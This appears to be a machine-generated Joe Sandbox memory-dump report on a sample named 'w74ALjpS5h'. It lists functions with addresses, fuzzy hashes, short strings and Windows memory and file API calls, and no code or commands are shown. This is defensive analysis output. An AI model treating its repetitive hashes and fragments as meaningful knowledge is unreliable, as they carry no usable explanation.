Source File: 00000000.00000002.2785410221.00000000056A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_56a0000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID: TJpq$Tekq$xbnq
API String ID: 0-3321955333
Opcode ID: 68b9dc7be66281edab9ca0a955c982b53cd2ab00529130d6024bad80390c79d3
Instruction ID: e81de1eecf96ca97d252d95354e49137093dfb2ed8940d82e0ba99b08340e721
Opcode Fuzzy Hash: 68b9dc7be66281edab9ca0a955c982b53cd2ab00529130d6024bad80390c79d3
Instruction Fuzzy Hash: 31B16475E016588FDB58DF6AC9446DDBBF2AF89300F14C1AAD809AB365DB309A81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 056A20EE Relevance: 3.6, Strings: 2, Instructions: 1087
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$kq, xrefs: 056A25F8
2, xrefs: 056A2C38

Memory Dump Source

Source File: 00000000.00000002.2785410221.00000000056A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_56a0000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID: 2$$kq
API String ID: 0-2649369545
Opcode ID: c9416cf3725b76978e2504adc9c5d9c0e183965af7ee6fd540c95e43c5cc5069
Instruction ID: 33a006cd40ce97a163d350691c5bd597c2971503a592f13b7ed352f8c3c0828f
Opcode Fuzzy Hash: c9416cf3725b76978e2504adc9c5d9c0e183965af7ee6fd540c95e43c5cc5069
Instruction Fuzzy Hash: 14C2B0B4E412288FCB64DF69C984B9DBBF6BB89300F1091EAD509A7355DB309E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0094F279 Relevance: 1.5, APIs: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0094F2B6

Memory Dump Source

Source File: 00000000.00000002.2740346160.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_w74ALjpS5h.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1b67a571ccc63baa342692c209aeb2b7fe6ad5122585ea5e781da555743bc41d
Instruction ID: 31c139596ac0f6142faaec9632ad119c41d7b9743157ceaa24b65828ff732ba1
Opcode Fuzzy Hash: 1b67a571ccc63baa342692c209aeb2b7fe6ad5122585ea5e781da555743bc41d
Instruction Fuzzy Hash: B2F0FE74E19249AFC746DFA8D8546ACBFB0EB4A300F1481EBD858D7392C7355A0ADB41

Uniqueness

Uniqueness Score: -1.00%

Function 056AD3A0 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

Tekq, xrefs: 056AD4C3

Memory Dump Source

Source File: 00000000.00000002.2785410221.00000000056A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_56a0000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID: Tekq
API String ID: 0-2319236580
Opcode ID: f2937da661946caade4c14fda68ba86e8fe92c721f32bce7bfc59d2c2c8cb8ba
Instruction ID: 795c2dc095a3570aaaf5a69fb3528995f9cedb02d3a34dd34406593d3cc8d260
Opcode Fuzzy Hash: f2937da661946caade4c14fda68ba86e8fe92c721f32bce7bfc59d2c2c8cb8ba
Instruction Fuzzy Hash: 32A1D471E05218CFDB14CFA9D944BADBBF2BB89304F249069D409A7655DB34AE85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 056AD390 Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

Tekq, xrefs: 056AD4C3

Memory Dump Source

Source File: 00000000.00000002.2785410221.00000000056A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_56a0000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID: Tekq
API String ID: 0-2319236580
Opcode ID: 9d8fd5f780d04fc27d75d028e48010eb243dd0f84a50204a32e37a39622b3a1d
Instruction ID: 6fd851dc2369a0f2c4caa2f3883d62bf57136c89322ce0b4ef7f0cec65a90aef
Opcode Fuzzy Hash: 9d8fd5f780d04fc27d75d028e48010eb243dd0f84a50204a32e37a39622b3a1d
Instruction Fuzzy Hash: E5A1D271E05218CFDB24CFA9D984BADBBF2BB89304F249069D409A7755DB74AE85CF00

Uniqueness

Uniqueness Score: -1.00%

Function 056AD693 Relevance: 1.4, Strings: 1, Instructions: 198COMMON

Download Yara Rule

Strings

Tekq, xrefs: 056AD4C3

Memory Dump Source

Source File: 00000000.00000002.2785410221.00000000056A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_56a0000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID: Tekq
API String ID: 0-2319236580
Opcode ID: 1641ea0b33f4bf6ae276c40042baec0a3c4e55fcee88600bc941fb577625be05
Instruction ID: 84ad39c3f172d36248fd3d728ba9ebd8f19e4393fac1778f51c63683f8fd7e25
Opcode Fuzzy Hash: 1641ea0b33f4bf6ae276c40042baec0a3c4e55fcee88600bc941fb577625be05
Instruction Fuzzy Hash: A591CF75E01208CFDB24DFA9D984BADBBB2FB49304F64906AD409A7755DB34AE85CF00

Uniqueness

Uniqueness Score: -1.00%

Function 0094E0A8 Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

ZXV, xrefs: 0094E0CC

Memory Dump Source

Source File: 00000000.00000002.2740346160.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID: ZXV
API String ID: 0-2397156509
Opcode ID: 5438a9b4c99af543b6cb58a17fd169d152d7227a3deabefc15540fbb65029c00
Instruction ID: 47814c622f0f62dd90d88250357715d8458843aff18b8565359579322a340380
Opcode Fuzzy Hash: 5438a9b4c99af543b6cb58a17fd169d152d7227a3deabefc15540fbb65029c00
Instruction Fuzzy Hash: C4411A74A12108CFCB64DF64D894BADF7B1FB89301F2090AAD41AA7299DB345D45DF44

Uniqueness

Uniqueness Score: -1.00%

Function 056A34E4 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2785410221.00000000056A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_56a0000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d5612d063b049593146eb29ed0fd7d35c8cdba8fb54b7493ec3cc773118a7da
Instruction ID: f05f08730e2165f5bde4d27b87cd74d018b8c7ace7ece5bc7b703fcc6bcdaf25
Opcode Fuzzy Hash: 7d5612d063b049593146eb29ed0fd7d35c8cdba8fb54b7493ec3cc773118a7da
Instruction Fuzzy Hash: 4732B274A14229CFCB65DF28C984A99BBB6FF48300F1085E9E90DA7355DB30AE81CF54

Uniqueness

Uniqueness Score: -1.00%

Function 009425A0 Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2740346160.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b24086a22b9b532cf6f9bc826b98151c23c05f137a1da503ac0883c81bf00fb
Instruction ID: ab1c7d03b33582277c557fe5455dcaf047dcb14c03ad6ccbff0c3d8ea07a2a62
Opcode Fuzzy Hash: 8b24086a22b9b532cf6f9bc826b98151c23c05f137a1da503ac0883c81bf00fb
Instruction Fuzzy Hash: 63D15470D11218CFDB64DFA4C854BADBBF5FF49300F6094AAE40AA7295CB745A85DF00

Uniqueness

Uniqueness Score: -1.00%

Function 00940B40 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2740346160.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db4f83c533a8b2eb95ec2f081c2e49c8f624b6805d4ddf3cecd78c9b59c6772f
Instruction ID: d478cc70348f9c225942c60737986b97687f70928b0fb4c259554f3c2ebd0257
Opcode Fuzzy Hash: db4f83c533a8b2eb95ec2f081c2e49c8f624b6805d4ddf3cecd78c9b59c6772f
Instruction Fuzzy Hash: 78918770E15208CFDB64DFA8D884BEEBBF5FB89304F24916AE109A7285DB745984CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00940B50 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2740346160.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56cbeaeb5383b25c14f2e903a5baf51c0ef04afb5bdb01be6475e2d4b47356c9
Instruction ID: 786eee7e83232a9ba302de9ca75c6751a22c54eed01d9c74a4133e4974391a59
Opcode Fuzzy Hash: 56cbeaeb5383b25c14f2e903a5baf51c0ef04afb5bdb01be6475e2d4b47356c9
Instruction Fuzzy Hash: 1F817670E15208CFDB64DFA8D884BEEBBF5FB89304F20916AE109A7285DB745984DF04

Uniqueness

Uniqueness Score: -1.00%

Function 00940C55 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2740346160.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5edf7e279f6cb00c843e636bfa9fce2c92b65a2ccf16f7617232860091f8033
Instruction ID: 0c6a1fe23df9fde788e20ee355f725858c14005d4b0e4f54857d06a6e9cc0d2b
Opcode Fuzzy Hash: e5edf7e279f6cb00c843e636bfa9fce2c92b65a2ccf16f7617232860091f8033
Instruction Fuzzy Hash: CE817570E15208CFDB64DFA8C884BEEBBF5FB89300F24916AD109A7295DB349985DF04

Uniqueness

Uniqueness Score: -1.00%

Function 0094034D Relevance: 1.6, APIs: 1, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?), ref: 00940441

Memory Dump Source

Source File: 00000000.00000002.2740346160.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_w74ALjpS5h.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a357eeff91cdf23f2a3620e3071a7571092c5605455bc0145f7a2e4547b5dfad
Instruction ID: 62aecda042d27c828c1be4e761a074d2ac0ba04ab04788bb81b805b661ab9ea3
Opcode Fuzzy Hash: a357eeff91cdf23f2a3620e3071a7571092c5605455bc0145f7a2e4547b5dfad
Instruction Fuzzy Hash: 1B4176B1C102599FDB10DFA9C881B9EBFB5FF88310F148529E914A6294D7B89881CF80

Uniqueness

Uniqueness Score: -1.00%

Function 0094050D Relevance: 1.6, APIs: 1, Instructions: 104COMMON

Download Yara Rule

APIs

CreateFileMappingA.KERNEL32(?,?,?,?,?,?), ref: 009405FF

Memory Dump Source

Source File: 00000000.00000002.2740346160.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_w74ALjpS5h.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: da3728dc948e86ce3a637fa6ba7aed17d965865169614e6b910983707ee40b6e
Instruction ID: 38b3d6927ce9a1d4899535902b1d05707527d447d78aebd5430561a3dc875f0f
Opcode Fuzzy Hash: da3728dc948e86ce3a637fa6ba7aed17d965865169614e6b910983707ee40b6e
Instruction Fuzzy Hash: CE4176B1C102199FCB10CFAAC881B9EBBF5FF88310F248529E815AB254DB749895CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00940358 Relevance: 1.6, APIs: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?), ref: 00940441

Memory Dump Source

Source File: 00000000.00000002.2740346160.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_w74ALjpS5h.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b726326ca4443bf7788591cc4d6f6cfca012802de2585f5b915ff90b84af0a1d
Instruction ID: 2e66ae927c1bf4a3d888e93caabed77285e8bbbcd480cc755c4b0132c7ebe4eb
Opcode Fuzzy Hash: b726326ca4443bf7788591cc4d6f6cfca012802de2585f5b915ff90b84af0a1d
Instruction Fuzzy Hash: B44167B1D002599FDB10DFA9C881B9EBFB5FF88310F148529E914A6294D7B99881CF80

Uniqueness

Uniqueness Score: -1.00%

Function 00940518 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

CreateFileMappingA.KERNEL32(?,?,?,?,?,?), ref: 009405FF

Memory Dump Source

Source File: 00000000.00000002.2740346160.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_w74ALjpS5h.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: f1bbbbb62e5731b25b6a1032078b499c799860c56567c6a87fdcb715f687e466
Instruction ID: 4b5fa477e5c55d7ca02740470f011c1c49fb3521b74fbf0ac14c79b1255cd7aa
Opcode Fuzzy Hash: f1bbbbb62e5731b25b6a1032078b499c799860c56567c6a87fdcb715f687e466
Instruction Fuzzy Hash: B84165B0D102199FCB10DFAAC841B9EBBF5FF88710F148529E819AB254DB749895CF80

Uniqueness

Uniqueness Score: -1.00%

Function 06A2FE58 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,?,?,?), ref: 06A2FECC

Memory Dump Source

Source File: 00000000.00000002.2788386124.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_w74ALjpS5h.jbxd

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 51750047594b75022fd59e6e95cfd4c5f55d0c3051ce0f82f556f7fb5b7e1ddb
Instruction ID: b1baae3d7c53e58959321581918f56c726a2cb08742b64596c8ff705dc0b88c6
Opcode Fuzzy Hash: 51750047594b75022fd59e6e95cfd4c5f55d0c3051ce0f82f556f7fb5b7e1ddb
Instruction Fuzzy Hash: 822127B1C002098FDB10DFAAC444BEEFBF5EF48320F14882AD459A7254C7789944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0566FF10 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 0566FF84

Memory Dump Source

Source File: 00000000.00000002.2785295483.0000000005660000.00000040.00000800.00020000.00000000.sdmp, Offset: 05660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5660000_w74ALjpS5h.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6e5160d19ac88069c2e9c504afd08331a2991b69a13a2667347b00fc6a35c43d
Instruction ID: ed4db35cc0d73b2ef2371be5ee2535a8f184f06b4fef9c19251e26bf42cc0fea
Opcode Fuzzy Hash: 6e5160d19ac88069c2e9c504afd08331a2991b69a13a2667347b00fc6a35c43d
Instruction Fuzzy Hash: 9011F4B1D002499FCB10DFAAC844A9EFBF5FF48320F14842AE459A7254C775A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 009406D1 Relevance: 1.6, APIs: 1, Instructions: 55fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32(?,?,?,?,?), ref: 00940746

Memory Dump Source

Source File: 00000000.00000002.2740346160.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_w74ALjpS5h.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 89a23940b6fe875ef9eebb2257c0dbec25756dc28be31b7c47edd824f6990678
Instruction ID: d75a627fd7d78c730d8d6e6acc63c56cb6c8149ce16d070bc7cccf7e4fd83af7
Opcode Fuzzy Hash: 89a23940b6fe875ef9eebb2257c0dbec25756dc28be31b7c47edd824f6990678
Instruction Fuzzy Hash: 5B1159728002489FCB20DFAAC845BDFBFF5EB88320F248819E955A7250C775A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 009406D8 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32(?,?,?,?,?), ref: 00940746

Memory Dump Source

Source File: 00000000.00000002.2740346160.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_w74ALjpS5h.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: eb577878ddba4103179bef9474f22e204f56232061e286043045ec4bedec7599
Instruction ID: 6ba6d6cc914360e142c30ac1c4bd82cae7a2fc691e7307e56f5b821df4c2b76f
Opcode Fuzzy Hash: eb577878ddba4103179bef9474f22e204f56232061e286043045ec4bedec7599
Instruction Fuzzy Hash: B1113A75900249DFCB10DFAAC844BDEBFF5EF88320F248819D555A7250C775A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02550C43 Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

Tekq, xrefs: 02550CA0

Memory Dump Source

Source File: 00000000.00000002.2741270048.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID: Tekq
API String ID: 0-2319236580
Opcode ID: c8d488a19e9406a839ea0d4d0180f4d8d207cf4f5a30ad042faae96462013511
Instruction ID: 4ad4ff30a7575d08c2048862e2654fa68850a6de8eef859298265e3a967262cf
Opcode Fuzzy Hash: c8d488a19e9406a839ea0d4d0180f4d8d207cf4f5a30ad042faae96462013511
Instruction Fuzzy Hash: 6D219131650224CFC744DF68C8A9AAABBF2FF4C710B24445AE80ADB3B1DB71AC01CB45

Uniqueness

Uniqueness Score: -1.00%

Function 056A0A88 Relevance: 1.3, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 056A0AFB

Memory Dump Source

Source File: 00000000.00000002.2785410221.00000000056A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_56a0000_w74ALjpS5h.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 998ed1e461ed9e97846c1ab7b2cbd51310e203aea3e4c18e043c45114db2dda8
Instruction ID: 595325c1fa73267364575565a27ab54f21253b85c963388e6d9551ff620d9a76
Opcode Fuzzy Hash: 998ed1e461ed9e97846c1ab7b2cbd51310e203aea3e4c18e043c45114db2dda8
Instruction Fuzzy Hash: 23113AB2900249CFCB10DFA9C945BEEBFF5EF88324F248819D455A7250C7799944CF94

Uniqueness

Uniqueness Score: -1.00%

Function 056A0A90 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 056A0AFB

Memory Dump Source

Source File: 00000000.00000002.2785410221.00000000056A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_56a0000_w74ALjpS5h.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 55b79211ddef13a596267b5c52f1a8ad5f07b553dc89ed4260bcc53cf5af5c41
Instruction ID: 25449446903501a5f9f4656bed7a909f234abf7c2fbbb50fe047a3f2070728c3
Opcode Fuzzy Hash: 55b79211ddef13a596267b5c52f1a8ad5f07b553dc89ed4260bcc53cf5af5c41
Instruction Fuzzy Hash: 2F1137B29002488FCB10DFAAC845BDEBBF9EF48320F248819D555A7250C775A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02550DDA Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

Tekq, xrefs: 02550DDE

Memory Dump Source

Source File: 00000000.00000002.2741270048.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID: Tekq
API String ID: 0-2319236580
Opcode ID: f41a01ce8e2edf331714f8a5523861a1d834df30e6e51222c141e2b42a15a2fc
Instruction ID: 29ef79462db1ae74a4357f893311bb0b6a46120ebc8d64ff990724167d5b6882
Opcode Fuzzy Hash: f41a01ce8e2edf331714f8a5523861a1d834df30e6e51222c141e2b42a15a2fc
Instruction Fuzzy Hash: 9D110C71A28225CFCB549B64D4746ADBB71BB4D700F304C6BD807AB2D0CB749901CF59

Uniqueness

Uniqueness Score: -1.00%

Function 02550960 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2741270048.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 177ffd6b622324238d574d950ee02e5e5bf87a73413d3a5793e02a4ce59006ac
Instruction ID: 514f024ffa28670089e55cd1020bde4ccb9f8692faab7f198feae158a90fa966
Opcode Fuzzy Hash: 177ffd6b622324238d574d950ee02e5e5bf87a73413d3a5793e02a4ce59006ac
Instruction Fuzzy Hash: 8E81D634A001159FCB05CF58C5A099DBBB2FF89314B28C59AE809AB396D732ED46CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02551736 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2741270048.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9943c60bdb24c6ec1ab21d950c303abc0d9dd4fe7ca10070d04d58a4911de6b9
Instruction ID: 56e7b16b3b48398d01e61a67978fd17ef96d1206eb8cb3c9b4a54cb9581107fe
Opcode Fuzzy Hash: 9943c60bdb24c6ec1ab21d950c303abc0d9dd4fe7ca10070d04d58a4911de6b9
Instruction Fuzzy Hash: C03169B0D00258DFCB14CFA9C590AEEBFF5BF48350F24846AE809AB264DB349945CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02551740 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2741270048.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a19248685c8f82a538d81fef369a4f791e49cb011ce1c1088cf6155cfd248b0c
Instruction ID: 5d072fa7b3011d16a7157d821995a391629cac2b07c57617d13206e8c551f6bf
Opcode Fuzzy Hash: a19248685c8f82a538d81fef369a4f791e49cb011ce1c1088cf6155cfd248b0c
Instruction Fuzzy Hash: FF3115B0D002589FDB14CFE9C590ADEBFF5BF48350F24842AE809AB254DB749945CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00C2D01C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2741081137.0000000000C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c2d000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b542155e63e53a03c11522a1a27d8e5b59066af1ceaeeae6473e99bc8b66e26b
Instruction ID: f6fa5c9645ec2dadc85d728c0fc446f9f0c72678281e9bd7611cd824e8f24ccd
Opcode Fuzzy Hash: b542155e63e53a03c11522a1a27d8e5b59066af1ceaeeae6473e99bc8b66e26b
Instruction Fuzzy Hash: BA213471104240DFCB11DF14EAC4B2BBFA5FBA4314F20C569E90A0B666C336D84ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00C2D005 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2741081137.0000000000C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c2d000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a941bd96d425ee4f45ea0e655bc68a6a5b4b1934376a3e4832bce710eef3994
Instruction ID: 22281a0c1b7cae700f23dc4bf3811ed9fdb5887bdc5727cfa81e2792c574fea3
Opcode Fuzzy Hash: 2a941bd96d425ee4f45ea0e655bc68a6a5b4b1934376a3e4832bce710eef3994
Instruction Fuzzy Hash: AF21B0750093C08FCB03CF24D994716BF71EB96314F2981EAD8458B6A3C33A990ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00C1D76D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2740882650.0000000000C1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1d000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2620c1336660befc2c421fe0006034dc4e88b743142a1736721a752c0486a147
Instruction ID: 6886fc2b479f7d96ab7ed031aa40b14278170a701a05106c4758dc98d580d353
Opcode Fuzzy Hash: 2620c1336660befc2c421fe0006034dc4e88b743142a1736721a752c0486a147
Instruction Fuzzy Hash: DF01A7711083449AE7108A1AD984BA7BFD8EF42764F18C529ED1A4A2CAC3799DC0E6B1

Uniqueness

Uniqueness Score: -1.00%

Function 00C1D76C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2740882650.0000000000C1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1d000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaf8b72952953fc13ce1b6ef91ae67ab9e2d56fff9136b816381d788616f5099
Instruction ID: 647db4db59ddfdeda093dc3ecadefa78113c59d1745c2764107355c595a37219
Opcode Fuzzy Hash: eaf8b72952953fc13ce1b6ef91ae67ab9e2d56fff9136b816381d788616f5099
Instruction Fuzzy Hash: 04F0C2710083449EE7108E1AD8C4BA6FFE8EB51734F18C45AED590E286C3799C84DAB0

Uniqueness

Uniqueness Score: -1.00%

Function 02550847 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2741270048.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90e544c212b5d8746cb3b8ded2b65b0215761a3206f68af5fb21829a8fc5822d
Instruction ID: 05ea4675c355ddb5b11d92a9671dd7dd747b84232d34e50e30167c6c3924015e
Opcode Fuzzy Hash: 90e544c212b5d8746cb3b8ded2b65b0215761a3206f68af5fb21829a8fc5822d
Instruction Fuzzy Hash: 86F06D30108220EEC704A6609421EB96B91FB8D374B14CDAFD80B5B6C5DA2B9942DBDD

Uniqueness

Uniqueness Score: -1.00%

Function 02550848 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2741270048.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b22bc65b0776a87149cd608254b40176260b7a81e2c80ef52f333e8048a23b30
Instruction ID: 60b22e09a0adb92852e60c9870330339f8363da50e2f35d2b3b43e5428c7eaf6
Opcode Fuzzy Hash: b22bc65b0776a87149cd608254b40176260b7a81e2c80ef52f333e8048a23b30
Instruction Fuzzy Hash: 56F09030108230EBC604A6509421E797A85FB8D374B04CC6FD80B5B6C5DA2BD942DBDD

Uniqueness

